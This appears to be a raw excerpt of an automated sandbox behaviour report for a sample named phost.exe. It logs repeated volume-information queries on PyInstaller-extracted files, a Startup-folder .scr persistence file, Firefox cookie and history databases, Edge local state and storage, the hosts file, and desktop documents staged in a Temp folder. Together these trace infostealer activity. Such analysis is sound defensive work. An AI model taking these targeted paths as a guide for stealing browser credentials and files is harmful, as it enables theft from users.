Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI32202\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\phost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \System\Antivirus.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\BPMLNOBVSB.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\FENIVHOIKN.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\HTAGVDFUIE.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\HTAGVDFUIE.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\KATAXZVCPS.png VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\KZWFNRXYKI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\KZWFNRXYKI.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\KZWFNRXYKI.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\KZWFNRXYKI.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\LTKMYBSEYZ.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Queries volume information: C:\Users\user\Desktop\LTKMYBSEYZ.jpg VolumeInformation	Jump to behavior
